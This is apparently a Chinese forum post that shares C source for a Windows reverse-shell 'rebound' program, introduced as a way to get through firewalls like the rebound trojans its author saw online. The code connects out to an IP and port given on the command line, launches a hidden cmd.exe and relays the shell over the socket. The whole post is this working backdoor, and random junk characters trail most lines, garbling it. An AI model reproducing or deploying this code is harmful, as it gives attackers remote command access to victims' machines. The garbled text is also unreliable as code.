这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 aD5G0d?u
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/* ============================== ;7F|g
Rebound port in Windows NT i N}BMd.U
By wind,2006/7 rI[Lg0S
===============================*/ D(GAC!|/]
#include rCmxv7"
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#include BBg&ZIYEh
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#pragma comment(lib,"wsock32.lib") ? }k~>. \
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void OutputShell(); 1qs~[7{C1
SOCKET sClient; t?-7Z6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D4"](RXH
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void main(int argc,char **argv) W
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{ ,H3C\.%w\
WSADATA stWsaData; bW`@9 =E
int nRet; dwc$?Bg,5
SOCKADDR_IN stSaiClient,stSaiServer; h&!k!Su3#
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if(argc != 3) zN\~v
{ r: _-Cj
printf("Useage:\n\rRebound DestIP DestPort\n"); 1%L* 9>e
return; 4*UoTE-g$
} u1 uu_*
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WSAStartup(MAKEWORD(2,2),&stWsaData); MwxfTH"wi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; b8J\Lm|J
stSaiClient.sin_port = htons(0); ;8~`fK
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Rk
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~6'6v8
{ ^uW!=%D
printf("Bind Socket Failed!\n"); DytOS}/^9
return; q{UP_6OF
} %r5&CUE5?
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stSaiServer.sin_family = AF_INET; z[Kxy1,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); SaEe7eHd
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?lb1K'(
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NDB ]8C
{ 'uUp1+
printf("Connect Error!"); [;VNuF
return; +1p>:cih
} FTt7o'U
OutputShell(); qH6DZ|
} )J_!ZpMC
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void OutputShell() $*%Ml+H-
{ ]}9y>+>
char szBuff[1024]; i^uC4S~
SECURITY_ATTRIBUTES stSecurityAttributes; C[rYVa
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OSVERSIONINFO stOsversionInfo; Ii*v(`2b
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h^>kjMM
STARTUPINFO stStartupInfo; Xr M[8a
char *szShell; hC]c
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PROCESS_INFORMATION stProcessInformation; fB"3R-H?O
unsigned long lBytesRead; +M@G 8l
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6kT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l4F4o6:]n
stSecurityAttributes.lpSecurityDescriptor = 0; $EviGZFAaR
stSecurityAttributes.bInheritHandle = TRUE; W\U zw,vI
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >o 3X)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [X^JV/R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l(=#c/f
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9aZ3W<N`M
stStartupInfo.wShowWindow = SW_HIDE; 0 nWV1)Q0=
stStartupInfo.hStdInput = hReadPipe; 8)"KPr63M
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z
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GetVersionEx(&stOsversionInfo); 4C01=,6ye
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switch(stOsversionInfo.dwPlatformId) `yYgL@Zt
{ l`I]eTo)^
case 1: U%k e5uwP
szShell = "command.com"; Q^MB%L;D
break; 82J0t}:U
default: >j`*-(`2fa
szShell = "cmd.exe"; ~BS*x+M
break; gP(-Op
} RX2=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >D:S)"
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send(sClient,szMsg,77,0); mH{cGu?
while(1) VpVw:Rh>
{ r]HLO'<]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lC_zSmT
if(lBytesRead) (6h7 'r $
{ IB!Wrnj?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z,4=<;PF
send(sClient,szBuff,lBytesRead,0); ~:t2@z4p
} nr-mf]W&
else rXm!3E6JL
{ dhVwS$O )
lBytesRead=recv(sClient,szBuff,1024,0); +'n1?^U
if(lBytesRead<=0) break; @nc!(P7_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y}?@Pm drz
} Bp/8 >EO`
} !k s<VJh
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return; -+PPz?0
}